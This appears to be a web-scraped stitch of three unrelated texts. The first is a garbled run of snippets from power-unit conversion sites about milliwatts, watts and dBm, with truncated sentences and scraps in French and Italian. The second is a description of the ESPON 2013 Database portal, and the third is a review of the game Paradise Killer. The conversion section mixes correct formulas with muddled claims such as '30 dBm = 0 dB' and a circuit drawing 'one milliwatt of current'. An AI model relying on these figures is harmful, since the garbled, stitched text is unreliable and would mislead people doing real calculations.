2.2469385462308E+19 electron volt (eV) 1 mWh = 0.001 watt hour (Wh) 1 mWh = 8.2573655700885E+17 atomic unit of energy (au) 1 mWh = 8.604206500956E-10 tons of TNT (tTNT) 1 mWh = 2.6552237373982 foot pound. Watts. One watt is the power equal to the rate of energy of one joule per second in an electrical circuit. One watt is also equal to the power produced in a circuit with a voltage potential of one volt with a current of one amp.. The watt is the SI derived unit for power in the metric system. Watts can be abbreviated as W; for example, 1 watt can be written as 1 W 1 Milliwatts to Watts Conversion - Power Measurement La formule pour convertir milliwatt en Watt est 1 milliwatt = 0.001 Watt. milliwatt est 1000 fois Plus petit que Watt. Entrez la valeur de A et appuyez sur Convert pour obtenir la valeur dans Watt. Vérifiez notre milliwatt to Watt Convertisseur.Besoin d'un calcul inverse de Watt à milliwatt Watts (W) to Milliwatts (mW) conversion calculator online. Convert power from Watts (W) to Milliwatts (mW) instantly using this tool Power in milliWatts. dBm (mW) Note: 1 watt = 1000 mW : dBm to Watts: Watts = 10 ((dBm - 30)/10) milliWatts = 10 (dBm/10 Convertire Milliwatt a Watts - convertlive This Page provides information about dBm (decibel milliwatts) Watt Calculator. Calculator allows to calculate the dBm from Watt (or mW) and back (Watt or mW from dBm) using the formulas: Example: dBm=43.0103 <-> 20000 mWatt <-> 20 Watt dBm (sometimes dBmW or decibel-milliwatts) is unit of level used to indicate that a power ratio is expressed in decibels (dB) with reference to one milliwatt (mW). It is used in radio, microwave and fiber-optical communication networks as a convenient measure of absolute power because of its capability to express both very large and very small values in a short form compared to dBW, which is. Define milliwatts. milliwatts synonyms, milliwatts pronunciation, milliwatts translation, English dictionary definition of milliwatts. n. Abbr. mW A unit of power equal to one thousandth of a watt Heat flux density unit conversion between watt/square meter and millwatt/square centimeter, millwatt/square centimeter to watt/square meter conversion in batch, W/m2 mW/cm2 conversion char dBm to Milliwatts Calculator Try our new dBm/dBW/dBuV calculator - more conversions now available! Input either a dBm value or milliwatts and hit 'enter' ('tab' if using Internet Explorer) to convert from one to the other. dBm: Milliwatts: The equation to get the dBm value from milliwatts is: The equation to get milliwatts from a dBm value is Use this page to learn how to convert between watts and milliwatts. Type in your own numbers in the form to convert the units! ›› Quick conversion chart of watt to milliwatt. 1 watt to milliwatt = 1000 milliwatt. 2 watt to milliwatt = 2000 milliwatt. 3 watt to milliwatt = 3000 milliwatt. 4 watt to milliwatt = 4000 milliwatt: 7 The power in milliwatts P (mW) is equal to 1000 times the power in watts P (W): P (mW) = 1000 ⋅ P (W) Example. Use this page to learn how to convert between microwatts and milliwatts. metres squared, grams, moles, feet per second, and many more The watt is a unit of power named after the Scottish engineer James Watt. It measures the rate of power conversion and can be calculated by the product of volts and amps: watts = volts x amps. A milliwatt is 1/1000 of a watt, and a millivolt is 1/1000 of a volt Diferent power units conversion from milliwatt to joules per second. Between mW and J/s measurements conversion chart page. Convert 1 mW into joule per second and milliwatts to J/s. The other way around, how many joules per second - J/s are in one milliwatt - mW unit? Calculate from power into other power unit measures Watts to Milliwatts Converter allows you to calculate tiresome problems easily by converting Watts (W) to Milliwatts (mW) unit Convert watts to watthours (W to Wh). Calculate watt-hours from watts The online watts to mw converter is used to convert the power from watts to mw . The Watts to milliwatts Conversion Formula You can use the following formula to convert from Watts to kilowatts : X(mW) = y(W) × 1000 Example: How to convert 1 watt to milliwatts? X(mW) = 1(W) × 1000 Answer: 1000 mW Watts to milliwatts conversion tabl An uplink power flux density (at the satellite) due to a 1 watt VSAT transmitter on the ground is typically around -119 dBW/m^2 or 0.0000000000012589 watts per square metre at the satellite height. So, if you have a receive antenna on the satellite with an effective collecting area of 1 square metre then the signal power going into the satellite receiver is -119 dBW 1 2 Milliwatts to Watts Conversio How to convert Watts to Amps or Amps to Watts or Volts to Watts. Basics. You cannot convert watts to amps, since watts are power and amps are coulombs per second (like converting gallons to miles). HOWEVER, if you have at least least two of the following three: amps, volts or watts then the missing one can be calculated. Since watts are amps multiplied by volts, there is a simple relationship. dBm to milliWatts and milliwatts to dBm RF Engineers often express the power in dBm in place of milliWatts or watts. The formula converts a power expressed in dBm to milliWatt ( and also milliwatts to dBm). Following is the formula for dBm to Watt conversion. P(dBm) = 10 log 10 (p/p 0) Where p 0 is the reference volatge and is 1mW or 1x10-3 Watts Convert milliwatts to microwatts [mW to µW] (mW:milliwatt, µW:microwatt) Convert mW to µW a power conversion table. Calculate electricity usage and cost per hour, day, week, month, year and decade using this electricity cost and electric bill calculator milliWatts are used many times for Power and the dB term is expressed as milli-deciBels or dBm. 10 milliWatts = 10 dBm. 10 dBm = 10x power gain (in milliWatts) 20 dBm = 100x power gain(in milliWatts) 30 dBm = 1,000x power gain(in milliWatts) 40 dBm = 10,000x power gain(in milliWatts) However 1,000 mW = 1 Watt. so 30 dBm = 0 dB. and 0 dB is 1x powe An introduction to decibel milliwatts (dBm) used to measure power levels (voltage in a wire, EM wave power in the air, or optical power in a fiber). The dBm. Calculations: dBm vs. Watts. Using the calculations below you can convert dBm to watts and milliWatts. dBm is used to express an absolute value of power relative to a milliwatt.. Note: The final value represents a first order approximation and should only be used as a guide. No guarantees or warranties are implied accordingly Milliwatts to Microwatts (mW to µW) conversion calculator of Power measurement, 1 milliwatt = 1000 microwatts. microwatt to kilopond meter/second Milliwatt (SI symbol: mW) is a unit for measuring electrical power, equal to one-thousandth (10^-3) of a watt. 10 microwatt to milliwatt = 0.01 milliwatt 'The DMFC outputs 100 milliwatts of power, and can continue to do so, non-stop, for as long as users top up its integrated fuel tank - a process that is as simple as it is safe.' 'The main beam from a base station hits the ground around 50 metres away, and at this distance the maximum power from a typical 60-watt antenna is around 100 milliwatts per square metre. dBm (sometimes dB mW or decibel-milliwatts) is a unit of level used to indicate that a power ratio is expressed in decibels (dB) with reference to one milliwatt (mW). It is used in radio, microwave and fiber-optical communication networks as a convenient measure of absolute power because of its capability to express both very large and very small values in a short form compared to dBW, which. Watts to milliwatts (mW) conversion calculato Our Watts to Joules converter also supports conversion from MilliWatts (mW), Watts (W), KiloWatts (KW), and MegaWatts (MW) to KiloJoules (kJ) and MegaJoules (mJ) per second, per minute or per hour. Difference between Watts and Joules Synonyms for milliwatts in Free Thesaurus. Antonyms for milliwatts. 4 words related to milliwatt: power unit, abwatt, watt, W. What are synonyms for milliwatts Similarly a power level of 20 dBW is 100 times that of one watt, i.e. 100 watts. A more extensive conversion chart of dBm, to dBW and to watts is given below: dBm to dBW & watts chart. The chart below gives a tabulation of dBm to dBW and watts which can be useful in determining some quick rough estimates of the values of power in different formats How to convert milliwatts to watts. One watt is equal to 1000 milliwatts: 1W = 1000mW. milliwatts to watts conversion formula. The power in watts P (W) is equal to the power in milliwatts P (mW), divided by 1000:. P (W) = P (mW) / 1000. Exampl Convert Watt hours to mAh. Insert Watts-hour (Wh) and voltage (V) and click on Calculate to obtain milliamp-hours (mAh). Wh. V. mAh. Formula is (Wh)1000/(V) =(mAh). For example, if you have a 1.5Wh battery rated at 5V, the power is 1.5Wh * 1000 / 5V = 300mAh. Other Conversions Hence you need not to get stuck between converting Watts to Kilowatts or Megawatts to Milliwatts. Obviously, no matter how much of a pro you are, you will require a quick way of maneuvering between the several units of power measurement with a good power supply calculator Milliwatts (mW) Watts (W) Kilowatts (kW) Megawatts (MW) This page allows you to calculate between dBm, dBW, µW, mW, Watts, Kilowatts and Megawatts. The decibel watt (dBW) is a unit for the measurement of the strength of a signal expressed in decibels relative to one watt Disclaimer: Whilst every effort has been made in building this calculator, we are not to be held liable for any damages or monetary losses arising out of or in connection with the use of it. This tool is here purely as a service to you, please use it at your own risk. Full disclaimer.Do not use calculations for anything where loss of life, money, property, etc could result from inaccurate. Conversion of 10 milliwatts to watt +> CalculatePlu Consequently the easiest way to reach 1000 miles per watt is not to seek increased distance as much as to seek to cover a given distance with progressively lower output powers. Which brings us to milliwatts. Single hop HF, sporadic-E lower VHF and enhanced tropospheric VHF/UHF propagation are all low-loss propagation modes Pasternack's RF Power Conversion Calculator allows you to convert RF input power and RF output power values from variables such as milliwatts (mW), Watts, dBm, dBW, millivolts (mV), and Volts. Bookmark or Favorite this page by pressing CTRL + D Convert watt to milliwatt - Conversion of Measurement Unit milliwatts: watts: kilowatts: megawatts : Ohm's Law defines the relationship between power, voltage, current, and resistance. The various possible formulas for Ohm's law are as follows. Where P = power in watts E = voltage in volts I = current in amps R = resistance in ohms. P = E 2 /R P = I 2 * R P = E * I. E = sqrt(P * R) E = P/ The result, measured in watts, is the amount of power your LEDs use. For example, if your LED has a voltage of 3.6 and a current of 20 milliamperes, it will use 72 milliwatts of power. Depending on the size and scale of your project, your voltage and current readings may measure in smaller or larger units than the base ampere or watt, and unit conversions may be necessary 100 Milliwatts to Watts - coolconversion Milliwatt definition, a unit of power equal to one thousandth of a watt. Abbreviation: mW See more You can't convert milliwatts to decibels, but you can convert them to dBm or dBw. dBm = 10 log (milliwatts) dBw = -30 + 10 log (milliwatts 1 watt = 1,000 milliwatts -- take the number of Watt-seconds -- multiply it by 1,000 -- the answer is the number of milliwatt-second Use DigiKey's decibel-milliwatts (dBm) to Watts conversion calculator to quickly and easily convert RF power between dBm to Watts A power level of 0 dBm corresponds to a power of 1 milliwatt.A 10 dB increase in level is equivalent to a 10-fold increase in power. A 3 dB increase in level is approximately equivalent to doubling the power, which means that a level of 3 dBm corresponds roughly to a power of 2 mW. Read More>> IMPORTANT Maximum antenna gain (including any cable loss) cannot exceed 6 dBiL To use the calculator below, input a value into the field and hit the enter key. The result will appear below. You can choose different calculations from the drop down menu. Note that to convert from dBm to dBW, simply subtract 30 from the dBm value. For example: 30 dBm = 0 dBW, which is another way of saying that 1,000 milliwatts equals one Watt Convert microwatt to milliwatt - Conversion of Measurement Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube Watts per square meter milliWatts per square meter microWatts per square meter Watts per square centimeter milliWatts per square centimeter microWatts per squar Convert mW to W milliwatt to watts May 24, 2018; dbm to watts conversion for radio, radar and microwaves; Decibels and dbm. Decibels are used to represent the ratio of two quantities of power: db = 10 log P 1 /P 0.In the case of dbm the reference power P 0 is 1 milliwatt : dbm = 10 log P 1 /1mw.. Inverting this equation gives the power in terms of the reference power: P 1 = P 0 10 db/10 The concept of a decibel (dB) is understandably difficult and confusing for someone just being introduced to it. Combining specifications for gain, power, and voltage (and current, but not so often) that mix dB, dBm, dBW, watts, milliwatts, voltage, millivolts, etc., often requires converting back and forth between linear values and decibel values Français: ·(Métrologie) (Électricité, Physique) Unité de mesure de puissance du Système international (SI), valant 10−3 watt, et dont le symbole est mW.··(Métrologie) (Électricité, Physique) Milliwatt (mW) Revised: 1/2/18 UVC, Watts, Microwatts, Joules, & Light Penetration This article/post is intended to give some basic understanding between the relationship of watts, microwatts, joules of UVC energy and how this translates to UV Sterilizer effectiveness Photovoltaics from Milliwatts to Gigawatts Understanding Market Drivers Toward Terawatts. Buy Photovoltaics from Milliwatts to Gigawatts Understanding. 8 watt amp into a 15 dbi antenna = 154.25 watts do you see a pattern? if not you can see I marked them 1 goes with 1 and 2 goes with 2 , etc! as you can see with the right gain (dbi) of a antenna you can Achieve the same ERP out of a higher wattage amp with a small dbi antenna! of course there is a trade off and that is the size of the antenna that is need to achieve this Power (watt) Power (dBm) 0 W not defined 0 + W -∞ dBm 0.00001 W -20 dBm 0.0001 W -10 dBm 0.001 W 0 dBm. If that is the case, the power dissipated in watts (or milliwatts) is directly proportional to the current in amps (or milliamps). A circuit supplied with one volt will use one milliwatt of power when one milliwatt of current is flowing. A circuit powered by a 12 volt source will dissipate 12 milliwatts when 1 milliamp is flowing. Watts = amps. How to convert milliwatts to kilowatts. The power in kilowatts P (kW) is equal to the power in milliwatts P (mW) divided by one million: P (kW) = P (mW) / 1000000 So. 1mW = 0.000001kW. Example. Convert 300 milliwatts to kilowatts: P (kW) = 300mW / 1000000 = 0.0003kW . milliwatts to kilowatts conversion tabl 36 dBm 4 watts 30 dBm 1 watt 27 dBm 500 milliwatts 26 dBm 400 milliwatts 25 dBm 320 milliwatts 24 dBm 250 milliwatts 23 dBm 200 milliwatts 22 dBm 160 milliwatts 21 dBm 125 milliwatts 20 dBm 100 milliwatts 15 dBm 32 milliwatts 10 dBm 10 milliwatts 5 dBm 3.2 milliwatts Fun conversion of the day: photon count to watts. This is high school physics, but it's a good reminder of scale. Let's take a decent flux, say 50 million green (520 nm) photons per second. The energy (units = J) is equal to the frequency (units = 1/s) times Planck's constant (units = J*s). The wattage is the energy per unit time (watts. > How many milliwatts do you have per lumen? There are two ways to answer this depending on what you're measuring with milliwatts. When talking about electrical lighting then for most people a watt is a measure of how quickly a light bulb consume.. Video: The Milliwatts to Watts Conversions Online - Easy Rapid Calc dBm, Volts, Watts Conversion dBm is defined as power ratio in decibel (dB) referenced to one milliwatt (mW). It is an abbreviation for dB with respect to 1 mW and the m in dBm stands for milliwatt How to convert watts to milliwatts. One watt is equal to 1000 milliwatts: 1W = 1000mW. Watts to milliwatts conversion formula. The power in milliwatts P (mW) is equal to 1000 times the power in watts P (W):. P (mW) = 1000 ⋅ P (W). Exampl To put that in context, regions in the United States without volcanic activity have a heat flux from Earth's mantle of 40 to 60 milliwatts, and Yellowstone National Park has, on average, about 200 milliwatts per square meter of heat under its surface This tool converts Joule per second (J/s) to Decibel-milliwatts (dBm). A link is available to convert Decibel-milliwatts (dBm) to Joule per second (J/s)
0.999983	In using the Portal you have a choice of entering it as a policy maker, a scientist, or both. Your choice will lead to a portal that is better adapted to your needs. Please indicate your choice: I'm rather a policy maker I'm rather a scientist I'm both The main aim of the M4D Project is to maintain, update, develop and expand the ESPON 2013 Database. In this framework, the main European activities carried out to promote data comparability and data quality, in particular the INSPIRE Directive and the GMES (Global Monitoring for Environment and Security) initiative have been taken into consideration. In general, this ESPON Database Portal supplies different users (researchers, policy makers and stakeholders at regional and local level) with data, indicators and tools that can be used for European territorial development and cohesion policy formulation, application and monitoring at different geographical levels. The data included in the ESPON Database is mainly coming from European institutions such as EUROSTAT and EEA, and from all ESPON projects. By doing this, the ESPON 2013 Database contributes to better understanding territorial structures, the current situation and past and future trends of different types of European territories in relation with various geographical contexts (from local to global) and within a large variety of themes.
0.999956	You play the role of an exiled detective who gets a second chance after a mass murder, and you need to find clues, interview suspects and make conclusions that play out in the game’s only trial It’s incredibly similar to Danganronpa and fans of that series will feel right at home in Paradise While finding clues can be tedious at times and the actual trial lacks substance, it’s a fresh story in a thoughtfully-designed world Recommended Considering the success of Spike Chunsoft’s Danganronpa series, I’d always been surprised that no one seriously tried to make a game in the same vein: a murder mystery game mixed with a bit of visual novel and social simulator elements. Part of what made Danganronpa so good was not only the memorable cast of characters but the equally wild class trials where you went in with a singular idea of who committed the crime and instead found yourself blindsided by the wackiest of the wacky. Here, indie developers Kaizen Game Works attempt a brighter, friendlier take on the Danganronpa-like genre. The setting is a magical island called Jabberwock Paradise, constructed by an organization known as the Syndicate. It’s the 24th artifical island created by the Syndicate and thanks to some demonic corruption, it’s also a giant Failure to Launch and slated to go the way of the dodo. That’s good, because the next sequence (the 25th) is supposed to be perfect. Or at least everybody says so. Unfortunately, things don’t go as planned, and the night before the transition to the new island, the entire ruling party of the Syndicate – known as the Council – are found brutally murdered. Enter Lady Love Dies, Paradise’s lead only investigator who was exiled years ago and brought out of forced retirement to solve the case. Your job is to search the island, find clues, interrogate suspects, and find the guilty party. As exciting as being an investigator sounds, a huge chunk of it is simply going around the island collecting junk and interrogating characters/suspects whenever possible. Kaizen Game Works partly describes Paradise Killer as an open-world exploration game, and the exploration part is no joke. You’ll need to seriously comb through every area or you’ll miss something. And it’ll probably be something important. Case in point: in my first playthrough, I missed one thing – ONE THING – and “solved” the mystery by accusing the wrong person and went about my merry way. After the trial, I was goofing off and came across redacted and my character said, “Oh, I should have noticed this before the trial”. OH REALLY? asdfasdkjfhsdjkfhsdjkfhsdjkfhksj In some ways the need to find clues is like a throwback to the good old days of pixel hunting [being forced to find items in old 2D adventure games by mousing around the screen]. No, it’s not particularly difficult, just occasionally tedious and frustrating due to clues being in the most random places AND the fact that there are day/night weather cycles and you can’t see crap at night. While puttering about the island, you’ll also come across plenty of “blood crystals”. These are the main currency on the island and used for everything from buying secrets and sodas to fast traveling. Yep, you need currency to unlock fast travel locations AND to travel each time. The game is pretty fair with the amount of crystals lying around, but I’m not a huge fan of this design since the whole point of fast traveling is to let players save time going back and forth; having to examine every nook and cranny for Thomas’ English Crystals kind of makes that moot. Aside from finding clues, chatting with the other characters on the island serves as your main vehicle for figuring out what people are up to. There isn’t a whole lot of complexity in the dialogue – the choices that you make in conversations don’t matter, so you end up just blasting through all the options until there’s nothing left. Like Danganronpa, you can also opt to Hang Out with any of the characters – and you’re probably supposed to, even though the game doesn’t really mention this for some reason – because at some point they’ll give you an important clue or two that you can use later in the trial. One of the more notable features in Paradise Killer is the ability to start the trial at any point in the game. This lets you end the game whenever you feel you have enough evidence. I suppose this is a novel addition, since you don’t necessarily need to have all the evidence to convict the killer. [as always, I’ll try to refrain from mentioning any spoilers, mostly because I’m too lazy to use my own spoiler tag] The final trial left me a bit disappointed, because it’s set up to be this huge showdown and instead turns into your character rehashing notes from your investigation journal. Paradise Killer is, for a murder mystery game, pretty straightforward. The characters are straightforward. The puzzles are straightforward. The clues are straightforward. Yes, in the beginning things are a bit hectic and nothing makes sense, but during the course of the game clues fall neatly into place and there’s no wild ‘n wacky surprises that you’d find in the likes of a Danganronpa game. I don’t want to frame this as a Bad Thing – after all, this is arguably one of the best and worst things about Danganronpa: the game forces you to do the detective work but trials never go as expected, and no matter how good your detecting skills and deductions are, they’re quickly thrown in the garbage as stuff hits the fan. Unfortunately, the sole trial in Paradise is a bit lackluster, because it’s set up to be this huge showdown and instead turns into your character rehashing all of the notes in your investigation journal, and the Judge going “OMG!” after each one. Aside from picking who you think committed each crime, there are no real options other than to just keep mashing the [E] button. I’d gotten used to the multi-hour Danganronpa trials filled with minigames, debates, and twists, but in Paradise Killer, there’s none of that. It’s straight to the point. What should have been the climax and grand finale ends up feeling like a B-movie ending. For what it’s worth, I enjoyed playing the role of the investigator, coming up with my own deductions and ripping on people trying to feed me lies. There’s a definite thrill in the method, and Kaizen Game Works does a solid job here recreating the investigation experience and crafting an exhaustive amount of lore to fill the world. I’d honestly be shocked if we don’t see a sequel pop up in a few years. 0 0 votes Article Rating Related Posts Fallout 4 VR (2017) + GingasVR + Wabbajack review You know a game's special when it requres a 37-page Google Doc to install. Diablo II: Resurrected Beta (2021) review After a surprise announcement earlier this year, the formidable classic Diablo II returns in remaste...
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